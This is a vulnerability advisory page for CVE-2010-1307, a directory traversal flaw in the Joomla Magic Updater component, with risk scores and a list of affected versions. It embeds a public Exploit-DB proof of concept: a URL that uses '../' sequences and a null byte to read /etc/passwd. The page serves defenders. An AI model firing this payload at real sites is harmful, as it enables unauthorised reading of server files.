VIR Vulnerability Intelligence Relay

CVE-2010-1307

medium
Published 2010-04-08 · Modified 2026-04-29
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CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
6.0

Description

Directory traversal vulnerability in the Magic Updater (com_joomlaupdater) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Predictions

Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-12070 webapps php verified text · 1 KB
Vrs-hCk · 2010-04-05

Joomla! Component Magic Updater - Local File Inclusion

text exploit Source: Exploit-DB 
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 Title    : Joomla Magic Updater (com_joomlaupdater) LFI Vulnerability
 Date     : Monday, 05 April 2010 (Indonesia)
 Author   : Vrs-hCk
 Contact  : ander[at]antisecurity.org
 Blog     : http://c0li.blogspot.com/

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 [+] Exploit

     http://[site]/[path]/index.php?option=com_joomlaupdater&controller=[LFI]

 [+] PoC

     http://localhost/index.php?option=com_joomlaupdater&controller=../../../../../../../etc/passwd%00

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 Greetz   :

     www.MainHack.net - www.ServerIsDown.org - www.AntiSecurity.org
     Paman, NoGe, OoN_Boy, pizzyroot, zxvf, matthews, Genex, s4va, stardustmemory,
     wishnusakti, bl4Ck_3n91n3, H312Y, S3T4N, xr00tb0y, str0ke, dkk.

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# c0li.m0de.0n

Application impact
VendorProductVersionsFixed
software.realtynacom_joomlaupdater1.0
software.realtynacom_joomlaupdater1.1
software.realtynacom_joomlaupdater1.2
software.realtynacom_joomlaupdater1.2.1
software.realtynacom_joomlaupdater1.2.2
software.realtynacom_joomlaupdater1.3.0
software.realtynacom_joomlaupdater1.3.1
software.realtynacom_joomlaupdater1.3.2
software.realtynacom_joomlaupdater1.4
software.realtynacom_joomlaupdater2.0.0
software.realtynacom_joomlaupdater2.0.1
software.realtynacom_joomlaupdater2.0.2
software.realtynacom_joomlaupdater2.0.3
software.realtynacom_joomlaupdater2.0.4
software.realtynacom_joomlaupdater2.0.5
software.realtynacom_joomlaupdater2.0.6
software.realtynacom_joomlaupdater2.0.7
software.realtynacom_joomlaupdater2.0.8
software.realtynacom_joomlaupdater3.0.0
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References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.